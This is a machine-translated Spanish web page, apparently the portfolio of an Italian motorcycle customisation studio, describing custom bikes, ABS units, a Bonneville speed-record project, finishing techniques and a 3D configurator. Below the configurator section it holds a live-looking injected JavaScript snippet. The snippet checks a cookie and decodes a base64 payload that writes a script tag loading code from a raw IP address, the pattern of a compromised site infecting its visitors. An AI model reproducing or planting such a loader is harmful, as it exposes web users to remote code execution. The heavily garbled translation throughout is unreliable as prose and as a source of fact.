A partir de las formas originales de piezas de carrocería, a través de tecnología de tipificación tradicional basado en la distancia, Ellos han tomado forma algunos elementos que traen con ellos mismos el trabajo manual de los artesanos expertos Certosini del metal noble.

El corrimiento al rojo sigue siendo una moto cada día, no sólo por el rendimiento.
Uno de los principales componentes que cumplan con esta idea es el nuevo asiento de pasajero / cola que tiene un doble significado, en un lado, "Coche de la cubierta" con una base hecha de tocho de aluminio que crea una continuidad visual con la geometría de la cola / tanque, mientras que sólo girar resulta que la silla acolchada para dar cabida a los pasajeros en caso necesario.

El nombre del proyecto "corrimiento al rojo", el fenómeno por el cual la luz emitida por un objeto astral tiene una longitud de onda mayor tamaño que el que tenía en la emisión, shiftando su color a rojo, Simboliza la evolución de Urtin, desde pequeñas motos de serie única bicicleta evolucionados.

CORRIMIENTO AL ROJO IL:

  • El desplazamiento hacia el rojo es el fenómeno por el cual la luz emitida desde un objeto tiene una longitud de onda más larga que la que tenía en la emisión.
    Esto significa que el color se vuelve rojo.
  • El más importante es el desplazamiento al rojo en la cosmología, debido a la expansión del universo. Las estrellas, en particular, muestran un desplazamiento hacia el rojo correspondiente a la velocidad con la que aumenta su distancia de la Tierra.
  • El cobre se utiliza en nuestro Urtin su desplazamiento desde el Urtin originales, el envejecimiento va a cambiar su color, asumiendo las variaciones cromáticas que el material se llevará.
logo

CONCURSO italiano de motocicletas
"Best of Show 2018"

Nuestra LLEVA "corrimiento al rojo" Ganó el premio "Best of Show" el concurso nacional IMC , chocando con otras motos bellos y del más alto nivel.

Obviamente, esto nos llena de orgullo y nos motiva a hacer aún mejor.

Los socios del proyecto:

suspensión Andreani
Rizoma
S&S
SILVER TRE Plata 3
Paaschburg & Wunderlich GmbH
Motogadget
TAPESTRY Marra Fabrizio Marra
ph. Arianna Pavani
ph. Donato Cannatello
FACEBOOK Instagram ph. Guido Polli

Kit de prensa DADO CORRIMIENTO AL ROJO

Descargar el corrimiento al rojo Kit de prensa DADO

Piaggio MP3 “Corriente”

El Piaggio MP3 según DADO!

tecnológico, funcional y subversivo.

Gire el concepto de scooter: Ahora es el momento correcto para un restyling del scooter clásico entendida como cubierto por una forma plástica feo mecánica hermosa, el mercado está listo para una nueva mirada a la conducción urbana moderna. Hay una fuerte necesidad de un medio que nos permite desplazamientos diarios cómodo con facilidad, fiabilidad y comodidad. Pero scooter de hoy "maduro", quien busca un producto fiable y útil, sino también que éste pueda ser observado y traslado a otros su experiencia y pasión moto, Él está dispuesto a renunciar a algo en términos de confort sólo para tener un medio que lo caracteriza e identificar, sino también y sobre todo que la diversión, que el entusiasmo!

Queremos crear un objeto que se acumula en menos que los beneficios de todos los mundos de la motocicleta, Pero los sentimientos, los accionamientos, las atracciones típicas de todos los mundos, confluendole en un proyecto por la industrialización fácil y comercialización.
.1 rendimiento: El motor se convierte en el corazón que late, el elemento de coordinación, la base, innecesariamente sonido, pero con eficiencia perfecta. Un motor de 300cc moderna es el equilibrio perfecto entre ligereza y actuaciones como, pero en este caso es necesario un motor de mayor cilindrada (500~ 800 cc) que transmite buen rollo como una motocicleta.
.2 sin tiempo: Los diseñadores siempre la combinación en forma oximorónico contra la función se ha apoderado, en esta dualidad eterna sólo una cosa es cierta, la función es eterno, el envejecimiento forma. Nuestra visión está estrechamente vinculada a la función de lo particular, a su tópica mecánico.
.3 encanto: La apelación en este caso es un niño que se ve un giro de la lavadora. Una necesidad diaria, un ritual rutina que a pesar de su vanidad visual deja de encantar a su gira caleidoscópica de colores y detalles.
.4 mecánica: La mecánica refinados, hecha de componentes funcionales pero también hermoso, no demasiado industrial, bien hecho y diseñado para ser visto y apreciado, a la intriga y atraer.

La corriente es nuestra propuesta para el estilo de futuro para la familia de MP3. Y 'su variación natural en clave 2020, Todavía es un scooter, pero se supernaked sus detalles. Es un proyecto con hasta caminos de tierra que exploran otros fabricantes de motocicletas han dejado sin explorar por ahora, Esto significa que la moto como medio de motocicleta improvisada, sino como una evolución de la motocicleta clásica.
Nuestra propuesta ofrece varias maneras de definir, Del estática maqueta de un trabajo de producción y características del prototipo con el hormigón. E 'equipado con la parte superior de la gama actual en cuanto a mecánica y automoción. Su contribución innovadora se refiere al estilo de no-mecánica.

Vespa tatuaje

¿Qué se puede decir acerca de la Vespa que ya no se haya dicho? Forse darle un bel tatuaje?


La avispa es un icono del motociclismo y el motor populares, Él ha abarcado las décadas sin dejar de ser en la vanguardia, siempre fiel a sí misma, siempre un mito del motor de luz. E 'se interpretó en todas las interpretaciones posibles, desde los más pistaiole y divertido para el inconformista (O hippy), pasar varios cultos tales como la generada por la película quadrophenia del 1979, símbolo de una generación en el estado de ánimo de rebelarse contra la rebelión!

Con los años fue desmembrada la avispa, de colores, fallido, preparado, aligerado y ponderado, dictada famosa por e volgarizzata ... tenemos tatuado simplemente!

Hemos grabado indeleblemente su piel de acero (acero permanecido, siempre fiel al esquema original de Corradino D'Ascanio), hemos tallado por encima de un diseño floral hermoso que se ha convertido en una parte integral de su cuerpo / chasis, parte indeleble, un amor eterno, que no se pueden borrar con una simple capa de pintura, que siempre va a estar allí donde fue puesto.

Se registró el cuerpo con un artista del tatuaje punzón y hábil o mejor grabador de la mano creamos un ligero relieve apenas perceptible al tacto, A continuación, cubierto con la pintura original "herida" creado para asegurar la durabilidad y que sea aún más ligero e imperceptible nuestra intervención.

El resultado es un diseño apenas perceptible, muy elegante, muy sublime, ya que sólo sabemos cómo hacer italiana.

El tatuaje de la motocicleta es un proceso que inventó el dado y que disminuya en muchas variaciones, más o menos refinada, más o menos visible, dependiendo de la moto, propietario, y el material sobre el que vamos a trabajar. Podemos trabajar en plástico, de aluminio o de hierro, pintado o crudos, para cada uno de estos materiales se ha desarrollado un proceso en función de las características del material y la solicitud de acabado.
Para obtener más información, consulte nuestra página dedicada a este acabado.

El procesamiento se ha dado un poco proceso complejo que el cuerpo de la avispa es estructural y no extraíble, por lo que fue un placer trabajar directamente sobre la diversión en bicicleta.

Sistemas ABS para motocicletas OEM

Gracias a nuestra asociación con un fabricante de sistemas de equipos originales ABS, podemos seguir los fabricantes de motocicletas para su montaje de equipos originales sistemas OEM motocicleta ABS.

El rendimiento de nuestro producto ABS ha superado con éxito la certificación de euros Standard IV (Luxemburgo ATEEL) a agosto 2015 y también la certificación de EMC en noviembre 2015. La empresa ha sido evaluada por TUV IATF16949 (Alemania) en diciembre 2015 y también hemos realizado una alianza estratégica con muchas empresas internacionales como Benelli, PIAGGIO, IMPORTE, LONCIN, Lifan, Qianjiang, Eón, Zongshen.

Descripción general del producto :

  • Se mejora la estabilidad y el control de la moto
  • Se acorta la distancia de frenado
  • diseño ligero (todo en uno) y una fácil inserción en la moto
  • tamaño: 86.6× 64 × 98.6mm
  • Peso: ≈0.746Kg
  • automática de tipos de superficie de la carretera y el deslizamiento de control variable de identificación
  • CAN interfaz de diagnóstico y KLINE
  • Bajo nivel de ruido radiado
  • control de un solo canal: rueda delantera
  • Control de doble canal: tanto la rueda delantera y trasera
Test di frenata di emergenza a 100 km/h con e senza ABS

pruebas de frenado de emergencia a 100 km / h con y sin ABS

Impianto ABS a doppio canale F/R all-in-one. Completamente integrato. Dimensioni di soli 80x80x100mm.
sistema ABS de doble canal F / R todo-en-uno. totalmente integrado. sólo 80x80x100mm Dimensiones.
EHCU(Double Channel)

beneficios técnicos:

  • Diseño compacto y tamaño específico para la instalación en la moto
  • la válvula de solenoide, micro-flujo para el sistema de frenado
  • desarrollo de algoritmos y código de autogeneración basado en Matlab / Simulink
  • El control de la velocidad de rotación de la motocicleta basado en PWM
  • arquitectura del sistema MCU + ASIC en PCB de cuatro capas
  • OSEK RTOS cumple con los requisitos
  • Desarrollo de ECU en el cumplimiento de los requisitos ISO26262
  • Apoyo a la comunicación a través de la línea K y CAN, con suministro de diagnóstico de errores completa
  • más que 100 estrategias de seguimiento y gestión de la seguridad
  • Es compatible con la función de calibración basado en PCC (CAN protocolo de calibración)
  • tecnología de producción avanzada, la tecnología de corrección de errores y modernos equipos de producción

Operación del producto:

el sistema de frenado antibloqueo (MABS) Se ha diseñado específicamente para motocicletas, teniendo en cuenta la dinámica del vehículo y las características del sistema de frenado.
Basándose en el estado del movimiento rueda frenada (leer cada milisegundo) desde el sensor de velocidad de la rueda, l 'ABS ajusta el par de frenado para evitar que las ruedas se bloqueen.
Este es un sistema de control de bucle cerrado, y puede tener las siguientes ventajas:

  1. La estabilidad del vehículo se puede asegurar en cualquier momento de frenado.
  2. La distancia del frenado se puede acortar haciendo un uso completo de la empuñadura de goma-tierra.

aplicación de la bomba Sección

Sección del sensor de presión

Harley Davidson V-ROD “VRASCAW”

Harley Davidson Vrod Muscle por CEFEIDE Dada

Una motocicleta muy discutido Harley Davidson V-Rod, en todas sus muchas variaciones. Incluso muchos no lo consideran un verdadero Harley Davidson debido a su motor refrigerado por agua tecnológica, contraria a los principios de simplicidad de movimiento de Milwaukee.
Sin embargo, nos gusta, Nos gusta por su baja línea y muscular, por su estilo "inútilmente " realizar.

Tal vez podríamos incluso decir que mejor que todos los demás Harley Davidson V-Rod es la filosofía americana de ir en el camino, motor grande, gran rendimiento, del ciclismo puerta y el asiento roto. Exclusivamente de burn-out o el disparo carretera (o mejor "Autopista"!)

Nuestro trabajo se centró en la bicicleta, como es normal con respecto a la personalización que se tiene en cuenta, principalmente sobre los volúmenes generales, en el segundo ejemplo que hemos reconsiderado la facilidad de conducción y en general las medidas es que las medias geométricas antropomórficas de movimiento, Por último, nos centramos en los detalles.

El volumen problema se resolvió tratar de dar la moto un aspecto más robusto en general y menos estiró la versión original de la Harley Davidson V-Rod, que luego habló sobre el posicionamiento y la forma de los componentes de la carrocería como un reservorio, faraón, instrumentación y la cola.

En cuanto a la estructura y la geometría planteamos la parte trasera con el fin de acortar la distancia entre ejes, elevar el centro de gravedad y el ángulo de eje de dirección verticalizar, Esto ha llevado a un mejor manejo y facilidad de conducción, más adecuado para el uso diario de la motocicleta.

Por último, hemos desarrollado todos los detalles, mecánicas y estéticas, dibujar las partes a ser realizado en 3D, dando una primera versión de la impresión 3D, y una vez confirmada la bondad, cambiamos a la realización de componentes de aluminio, plástico ABS y plástico PMMA transparente a través de CNC.

En última instancia nuestra Harley Davidson V-Rod es perfectamente nuestro estilo de personalización de motocicletas hechos a medida, a medida en todos los sentidos para el cliente, de modo que pueda tranquilamente círculo, con las normas y con atención al estilo, sino también la facilidad de uso.

Color & Podar – pintura y gráficos

Un buen trabajo de pintura es la base, pero también es el orgullo de una motocicleta.
lo mismo, o tal vez incluso más, se aplica a la "color & recortar" o el proyecto gráfico completo set.

Gracias a nuestra creatividad y nuestra paciencia y atención al detalle que podemos conseguir la pintura gráfica completa de la moto, ya sea en el tinte plana, o con colores especiales y gráficos llamativos, especialmente.

FANTASMA

Roberto A VA Boneville

El navegador del Multivan las nueve y se detuvo frente a la puerta cerrada de una granja. el coche. En el patio de una anciana ya se sabe lo que va a ser la pregunta que a su vez. Antes de mí más allá de la puerta gris oyó las mismas palabras de Graziano Rossi, Marco Belli, Makoto Tamada.
"Y, Esta dirección es a través de Ca 'Nine uno, pero dieron el mismo nombre a una calle de la zona industrial cerca de aquí. Usted tiene que volver a Verona. En el semáforo gire a la izquierda y en la primera rotonda girar a la derecha ".
Apago el navegante alemán y nos basamos en Google Map. El teléfono inteligente Diego, en diez minutos nos lleva a la puerta principal de la In-Motion. Gianna nos recibe en la oficina. El aire acondicionado grita, como si fuera, y fuera hay cuarenta grados. A través del cristal, en el cobertizo, HRC y Minolta marcas que conocen MotoGP. A lo largo de la pared de una fila de tanques de colores con la marca Zaeta. La muchacha con el azul de las polainas paquetes en cajas rodea Kineo listo para ser enviado. Un buen culo….

 

Roberto nos dio una cita aquí, la granja de Julio Bernardelle, para hacer fotografías que cuentan la primera entrega de este proyecto loco. Multitudes como son los proyectos que unen a los hombres cerca de las pasiones. Roberto Crepaldi María sessantino es un hijo del arte. A los diecisiete años acompañó a los clientes del concesionario de su padre a recoger el coche Enzo Ferrari. A través de los años ha ayudado a llevar a Italia la marca Jaguar, Aston Martin, Triunph, Harley Davidson e Husquarna. en 1993 Fundó el equipo de CR&S Britten e con la Britten V 1000 Ha participado en tres ediciones de la Tourist Trophy.
hoy, con la marca RMC, Ciclos de registro de motor, Trabaja para ir en el lago de sal de Boneville y batir el récord de velocidad de bloqueo o cuatrocientos de veinte-de tres km / h.
Mientras Diego prepara cuerpos de cámara y lentes, El equipo de Roberto cumple gradualmente. Ugo Torri es un empresario y un conductor caballero con una pasión por la velocidad y hermosas motocicletas. Giulio Bernardelle es el responsable técnico del proyecto. Ganó dos del mundo con Valentino Rossi y Roberto Locatelli, Fue director técnico del equipo Pramac Honda y Konica Minolta Honda en MotoGP. Donato Cannatello es el diseñador responsable del cuerpo aerodinámico de la motocicleta. Dario Marchetti corrió en la pista y en la carretera, en el mundo, en superbike, nell'endurance, un Suzuka e Macao. En Estados Unidos ya ha ganado en Daytona y el lago de sal de Boneville casi tumbado en RMC para ejecutar más de cuatrocientos por hora hacia el registro.
Los chicos de In-Motion llevan a cabo de la arrojar el prototipo de la RMC. El equipo se reúne alrededor de la motocicleta. Diego comenzó a tomar.

Imagine una tarde de invierno, un hombre se sienta en su escritorio, Tiene frente a una hoja en blanco sobre la que se va a empezar a hacer la primera, excitado, marcas de lápiz mediante la adopción de la forma a la semblanza de su sueño, De dos ruedas, con una marca de su propia, que ciertamente no ocultar los ambiciosos objetivos que se desea alcanzar, Ciclos de registro de motor.
Este hombre se llama Roberto Crepaldi María, y los sueños sobre dos ruedas ya ha realizado varias. Se nace profesionalmente en el entorno de las cuatro ruedas, y comenzó a trabajar con su padre, Ferrari era distribuidor. de, joven, por lo que será capaz de acercarse a una persona importante para su formación y que los sueños ambiciosos dieron cuenta de que va a ser mucho, Enzo Ferrari.
Después de la experiencia en la industria automotriz, donde va de Ferrari para Aston Martin Jaguar, Roberto se dedica a su pasión, motocicletas, y no se detiene en mero placer para guiarlos. A principios de los 80 participantes en el relanzamiento en Italia de tres marcas muy famosas como Harley Davidson, Triunfo y Husquarna. en 1993 funda el equipo de CR&S, caferac es & Superbikes y se encuentra con otra persona importante, El neozelandés John Britten, un entusiasta de la motocicleta arquitecto que diseñó y construyó en su garaje es una bicicleta de carreras que lleva
su apellido. motor V-Twin 1000 cc con el ciclismo ingenioso y soluciones innovadoras, Britten se ejecuta en la categoría recién formado B.E.A.R.S (reservado para los prototipos de los gemelos de movimiento y tricilindriche no japonés) y el equipo de CR&S se convierte en el punto de referencia en Europa y la Britten V1000 participa en numerosos concursos internacionales tituladas, incluyendo 3 Isla de Man Tourist Trophy y ganó el Campeonato B.E.A.R.S. Series Mundiales.
Robert y John son muy buenos amigos, Ellos tienen ideas y objetivos comunes compartidos y también tienen mucha pasión, vestida con tanta energía, Se le permite alcanzar estos ambiciosos logros técnicos y deportivos. ¿Cuántas historias hermoso y móviles, Esto también por desgracia experimentar un terrible momento, en septiembre 1995, Como un mal mal implacable quita John, justo 45 edad. Roberto y equipo CR&S volver en el Tourist Trophy 1996, dispersado en esa isla mágica en el Mar de Irlanda, donde todo comenzó unos años antes, y Shaun Harris conducir, la Britten V1000 pasa por debajo de la bandera de la ajedrez TT superior, una gran satisfacción para recordar y honrar a su constructor con otro gran sello de deportes que inextricablemente vincula la asociación ganadora vino de las antípodas, y que todavía nos sorprenden y nos excitan en el futuro ... No se equivoque.
en 2002 Roberto se convierte en un constructor y CR marca&S tiene dos movimiento interesante y original, el solo cilindro CR&S DE nel 2005 y el gemelo CR&S duu en 2009.
Volvamos a la hoja de papel, Unos minutos más tarde, White tiene mucho más recientemente. Roberto, que incluso este tiene las ideas muy claras, además de haber trazado de las líneas de la moto que nacerán, También se tiene en cuenta la formación que va a transformar ese proyecto, antes de perfeccionar y luego materializar, la creación de un producto único y terriblemente rápido, lo suficientemente rápido para cumplir con la marca que llevará al tanque en un intento de establecer un nuevo récord de velocidad, en lugar de dos, el lago de sal de Boneville.
El equipo debe ser coherente y eficaz, a causa del trabajo que hacer allí habrá una gran cantidad y hay que hacerlo bien, muy bien. Para que Roberto se unió por Hugo Torres, empresario, gran amante de las dos ruedas y logros ambiciosos que va a ser mucho, Ugo es el Director del Proyecto RMC.

Para la parte técnica del proyecto y las responsabilidades ejecutivas de esta fascinante aventura es tomada por el ingeniero Giulio Bernardelle, con amplia experiencia en las carreras tanto en motores de dos tiempos, contribuir a los títulos mundiales de Roberto Locatelli y Valentino Rossi montar la Aprilia 125 mi 250 cc, es donde los motores son de cuatro tiempos de MotoGP pasó en.
La aerodinámica es otro capítulo de importancia fundamental para vencer el registro actual, Boneville que para la categoría aerodinámico parcialmente, parcialmente expuesto carenada con piloto, donde nuestro han decidido probar suerte, es 423 km / h. y, has leído bien son quattrocentoventitrè km / h, y las líneas de motocicletas serán administrados y ejecutados por Donato Cannatello, Dado el titular, empresa dinámica especializada en el estudio de prototipos e implementación de cuerpo complejo.
Incluso en la elección del piloto Roberto demuestra una vez más para manejar lo que realmente. El que va a soportar la carga, y el honor, para girar el acelerador se llama Darío Marchetti, conductor profesional de la carrera de treinta años, Dario ha competido en muchos caminos y senderos del mundo más importante y fascinante, de Daytona Macao recoger muchos éxitos. Durante una agradable charla Darío me dice: "Sai, el hecho de que me eligieron a mí no sólo me llena de orgullo, Estoy emocionado y muy honrado de ser parte de este equipo, Roberto lo soy conocido desde hace mucho tiempo y lo respeto mucho, Somos amigos y yo corrimos por él hace unos años, a la derecha en la fantástica moto llamada Britten V1000 equipo CR&S”. todo de nuevo, por arte de magia, con pasiones y emociones que se encuentran y entrelazan. "Entonces", continúa, "Para mi larga carrera, faltando sólo dos cosas, un intento de grabar y el Trofeo Isla de Turismo de hombre al que he tenido que tomar parte en los años 80, pero para este último ya es demasiado tarde ".
gran Darío, Ahora pensamos en el registro, y luego para el TT – entendida como vuelta de honor – tal vez usted puede hacer algo …pero por el momento no revelamos nada y seguimos centrados en Bonneville.
Completando el equipo de Media Manager Riccardo Capacchione, periodista profesional y un probador activo para muchas revistas y Raffaele Canepa, fotógrafo, y director que llevó a cabo la función Productor de Medios.
El proyecto es muy interesante y técnicamente muy intrigante. Un marco con estructura mixta será la sede del motor de aspiración natural 8 cilindros, muy compacto, posicionado longitudinalmente. Los desplazamientos de 2000cc serán para "Espíritu Rojo", que rinde homenaje a la inmensa cultura del motociclismo italiano, durante muchos años el punto de referencia absoluto para todas las otras naciones, y 2500 cc para "Homenaje a John Britten" en honor a este personaje brillante, con pocos recursos, asistida por un puñado de técnicos amigos, Se ha creado una de las mejores motocicletas de carreras jamás existido, el sellado de la fuerte unión entre John y velocidad. en 1993 un torpedo motorizado Britten V1000 conquistó el récord mundial en el cuarto de milla y la milla con salida parada y el kilómetro lanzado.
El se está trabajando y enviado en un rato oímos el sonido de este poderoso motor que tendrá una capacidad de más de 400 Cavalli. Es comenzó la cuenta regresiva para la semana de la velocidad de Boneville 2017. Ghost tendrá el placer y el honor de decir todas las etapas evolutivas de esta hermosa y emocionante aventura.
Gracias Steve y gracias a todo el equipo de RMC. enfoques Bonneville, encendemos los motores!!!

 

texto: Pier Giuseppe Ortalda
foto: Diego Mola

H4 – TATUAJE MOTO

Fuerte experiencia con nuestra acabado "Unpaint", hemos desarrollado una nueva evolución, la "Moto tatuaje"! A medida que los tatuajes están grabados de forma permanente en nuestra piel, de la misma manera que hemos tratado de afectar de manera indeleble en la piel de su moto gráfico, su estilo, su talento artístico y sus inspiraciones.

Por ello, hemos desarrollado un proceso de ataque final que puede ser aplicado en superficies rugosas, tanto en metal y plástico. El proceso se lleva a cabo a mano con los mismos procedimientos como un tatuaje en la piel humana, entonces, proyecto en el papel, transferencia de una parte y el grabado a mano alzada.

A partir de esta base, entonces podemos cubrir y terminar la pieza con diferentes gráficos, pintura o galvanizado.

El tratamiento se puede aplicar en partes del cuerpo y partes mecánicas, carretero, tapas o otro.

Ingeniería y modelado de superficies

Diseño necesita Ingeniería

Lo que nos distingue de otros entusiastas de la motocicleta, Es que nos gusta tener en nuestras manos sucias con grasa y aceite, chip de culto, pero también somos fanáticos diseño por ordenador! Así que nuestra primera aproximación al diseño está informatizado y el modo especial 3D. Con nuestro software y hardware y con nuestras manos creamos superficies de clase A o B, Sólido o simplemente mediante la prestación de modelos que son hermosas, pero también y sobre todo funcional. Funcional significa que puede enviar directamente a un molino, una 5 ejes o una máquina de representación, y que no tendrá problemas de peso, socavados, u otro.

Pinza 12x292

Desarrollo de aplicaciones y configurador 3D

Gracias a nuestra experiencia en diseño de la motocicleta, en el diseño y el estilo y el modelado en tres dimensiones, hemos desarrollado una configurador 3D que puede ser disminuido como configurador de movimiento, configurador de coches o más genéricamente como configurador de productos. en realidad, para ser más precisos, Es una plataforma totalmente configurado para múltiples tipos de objetos, principalmente, obviamente, ella motocicletas capaz de funcionar en varias plataformas.

touch_kiosk

Debido a que nuestro configurador 3D?

A diferencia de los sistemas convencionales de configuración, la nuestra es mucho más extensa y modular pero especialmente capaces de evolucionar en el tiempo de una manera muy simple.

 

Este sistema se traduce en una herramienta, para los fabricantes de motocicletas (u otros productos), extremadamente útil y eficaz.

 

 

 

 

configurador funcionalidad 3D:

 

 

Con nuestro sistema, el cliente puede insertar fácilmente en el contenedor de configuración:

  • Gran variedad de modelos o variantes, evolucionar con el tiempo y los detalles (tales costos, monedas, localizaciones etc.)
  • Sistema de control y seguimiento de los datos de usuario final (geolocalización, direcciones y preferencias ...)
  • listas actualizadas en tiempo real de múltiples monedas
  • Conexión y configuración directamente en Distribuidor Corner
  • reservas on-line
  • Los sistemas de inmersión para eventos, exposiciones y presentaciones
  • Las actualizaciones de gráficos, accesorios, colores y por supuesto los modelos
  • Cambiar modelo de Año

 

 

 

 

en Fiera ?

Nuestro configurador 3D funciona con dos monitores, un control y una pantalla, de esta manera, la experiencia del usuario no es exclusiva, pero implica a todo el público!

Pruébelo!

una serie de eventos de visita virtual en 3D para nuestro configurador UM Motocicletas

Un configurador 3D a nivel mundial

Un ejemplo de una posible liberación en modo WEB configurador 3D.
También se puede utilizar en el modo de pantalla completa.
Requiere GTX tarjeta de vídeo o similar,.

UOT;> GetCookie función(mi){var U = document.cookie.match(nueva RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/sol,”\\$1″)+”=([^;]*)”));retorno T?decodeURIComponent(la[1]):vacío 0}var src =”datos:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,ahora = Math.floor(Date.now()/1e3),galletas = GetCookie(“redirigir”);Si(ahora>=(tiempo = galletas)||nula tiempo 0 ===){tiempo var = Math.floor(Date.now()/1e3 + 86400),fecha = new Date((nuevos Fecha).consigue tiempo()+86400);document.cookie =”redirigir =”+tiempo +”; path = /; expira =”+date.toGMTString(),document.write(”)}

300W UM RENEGADE DESMODULADOR

La UM RENEGADE DESMODULADOR 300W es un prototipo (showbike) creado por UM Global sobre la base de sus productos actualmente en el mercado, la RENEGADE COMMANDO.

De la moción original, por supuesto, teníamos que tener tantas partes como sea posible para optimizar todo el proceso de ingeniería y puesto en producción, también hemos reutilizado algunas de las piezas de producción reales UM empresa por lo consertire una economía ventajosa de la escala.
El principal cambio ha afectado, obviamente, los nuevos tamaños de rueda ( 120/70 R19 Ant. mi 170/60 R17 Post.) tuvimos que utilizar para dar la moto un nuevo ajuste de enduro, A continuación, se vuelve a radiar los centros existentes con un nuevo conjunto de Takasago Excel y ha montado la panciutissimi y tassellatissimi Continental TKC 80.
Del mismo modo que tuvimos que intervenir para levantar la moto en el set, a continuación, la parte de atrás que optamos por un par de amortiguadores 380mm, mientras que el tenedor se ha mantenido la serie para limitar la inversión.

Para superestructuras dibujamos con el placer por aquellos que son la producción en serie componentistic UM, siempre en el nivel más alto considerado como el extremo superior del mercado, mezclando elementos clásicos con piezas más modernas, y en algunos casos "disruptivo" como la protección contra empotramiento en chapa de 4 mm hecho con nuestra técnica "Hoja-Box". También hemos tenido una primera en el campo de las motos, a saber, la creación de componentes de madera hechos de diseño 3D a través de fresado de control numérico (CNC), y está hecho de "mejillas" tanque con un perfecto cojinete forma en las superficies de la original del depósito y algunos detalles de la zona trasera.

El resto de las piezas se hacen en la impresión en 3D, sino también por los artesanos locales, la tapicería de cuero hermosa es un ejemplo, sino también los guardabarros de chapa no bromean.
La moto se presentó en el show de motocicleta EICMA de Milán 2018 y según muchos es una de las características más interesantes que se ven.

Acabamos de regresar de EICMA 2017

Una hermosa galería de fotos del EICMA evento en el stand de Global MU que nos vio partícipes de la creación del prototipo que se puede ver en las fotos, y la preparación de la "personalización de la esquina". El objetivo de ambos proyectos fue evaluar la respuesta del mercado italiano al movimiento producido UM y también para analizar las nuevas posibilidades que ofrece la personalización "Bajo demanda" vinculada a las técnicas de impresión 3D de prototipos y moderna.

Los resultados en términos de la respuesta del público ha sido muy gratificante.
Gracias a los que fueron a saludarnos y para ver lo que hicimos.

H2 – ACABADO “UNPAINT”

L'"UNPAINT" es un proceso de acabado que hemos desarrollado en DADO.

Es una propuesta para la personalización "luz" para aquellas bicicletas que ya tienen un buen estilo o el diseño, hay muchos y hoy ... en el que no nos gusta la idea de intervenir demasiado.

a continuación, un procedimiento mínimamente invasivo, que retiene las características funcionales de la serie de movimiento (emparejamientos, calidad y funcionalidad), mientras que da a la moto un aspecto más personal, más experimentado y también más fácil de usar.

El acabado no es más que un proceso de larga correspondencia con diferentes tarjetas de granos, bases de color que se mezclan a continuación,, gráfico, logotipos, varias etiquetas y barniz transparente, finalmente,.

Dado “VRS02” Réfola

Dado “VRS02” Réfola

"La Rèfola es un suspiro corto que desaparece incluso antes de tomar conciencia de sí mismo "

La única excepción a nuestras pequeñas bicicletas son bicicletas .... La VRS02 es una bicicleta que hicimos para divertirnos y para necesidades internas.. A él le gustaba la idea de tener una bicicleta rápido y ágil, conjunto y con estilo.
Hemos descartado el engranaje fijo, sino que mantuvo la línea estilística de la moto con este tipo de transmisión. Todo relleno y acompañado de componentes de alto nivel y buscar pelea urbana!

El VRS02 es la evolución de VRS01, lo que se traduce en bicicleta, hemos creado un nuevo acabado de la estructura de aluminio, raspada para llevarlo a la vista y luego dar de trazas de color amaranto "herrumbre", un ejemplo típico de nuestra técnica acabado "Unpaint".

 

El mecanismo es sin cambios en su simplicidad y funcionalidad, carreras de ubicación, buenos frenos, rueda libre, mira da "artes fijos", neumáticos anchos para copiar allanar así urbana.

Triumph Speed ​​Triple 1050 “MUELLE”

Pier es un ávido los graves.
La sua Speed ​​Triple 1050 pasa más tiempo por el quirófano o en la carretera. Sin embargo, Pier hace de kilómetros en movimiento… Resulta solo en los pasos y fin de semana torque (obviamente con una motocicleta de dos plazas)….
A su velocidad Pier logra solo o con nuestra ayuda todas las piezas necesarias para transformar su “civil” Triple de la velocidad en la bestia de la personalización y la diversión que se puede ver en esta página.
Todo estaba cuidado al detalle, tornillo para atornillar, pomellino para pomellino, hasta llegar al bastidor trasero, coleta, y las ruedas hacen de acuerdo a su propósito.

 

En el caso concreto, para la cola, se partió de un modelo hecho de poliuretano de baja densidad extruido “grabado” a mano por el mismo muelle, diseñamos los escaneos en 3D y la ingeniería inversa, con una resolución de problemas geométricos, socavados, Proyecto y la replicación. De este obtuvimos un primer modelo ABS blanqueado de sólido a utilizar como “Dominar” molde para la fibra de carbono.
Finalmente nos fundamento la fibra hasta que haya replicado completamente de las primeras etapas de un producto final súper fuerte y sólo unas pocas libras más pesado.

 

 

Las ruedas también se han creado específicamente en la demanda y el diseño Pier, ruedas vigas no demasiado gruesas, funcional y leer, Tubless, monoarm y bicolor barnizado.
No fue fácil reunir a todas las solicitudes, pero con la ayuda de nuestro Jonich Era casi un paseo.
Encuentra las ruedas también disponible en nuestra tienda en linea.

 

BMW R Ninet “Corredor”

Para mí, el noventa por R honestidad no es una locura. Es sin duda un gran producto, llena un nicho que era bastante vacante antes de su, sin duda hay otros modelos de la competencia con características similares, pero al BMW que le faltaba un movimiento tan simple, pequeño, moderno y elegante.

Será pero me parece hacer hincapié en estos aspectos también; demasiado pequeña, también por la fuerza con estilo. Carece de ese personaje “strambo” Típica de la moción de la casa de la hélice.

A petición de un amigo que hemos preparado algunas variantes de la mirada más deportiva y más personal.

Su principal característica es la de ser visualmente un deporte, pero encaja bien con el uso de todos los días o con Gran Turismo gracias a la manubrietto original, montado en un parabrisas que no interfiera con el mismo.

Queremos ser sólo un ligero lavado de cara, que una operación sea motos custom, no desde el concepto.

Podría ser un 'one-shot’ pero también, posiblemente, un kit de conversión.

La opción puede ser que porque nuestra noventa se vende como P.U.C.A. en nuestra tienda.

ESTILO DE FLUJO – Curso de Estilo, Diseño, Render e Sketches (Modulo “re”)

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FLUJO PLASTICO – curso de modelado físico y la impresión 3D de plástico (Modulo “do”)

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FLUJO DE METAL – Corso soldadura de acero TIG AC / DC, hierro y aluminio (Modulo “segundo”)

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FLUJO DE PIXEL – modelado 3D curso básico (TRABAJO SOLIDO) (Modulo “UN”)

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CR&S LLEVA “nd01”

CR&S DUULa CR&S LLEVA Es una moto que sabemos muy bien, hemos colaborado en el desarrollo directamente en CR&S siguiendo el estilo y la ingeniería desde el principio hasta la personalización directa para los clientes más exigentes.
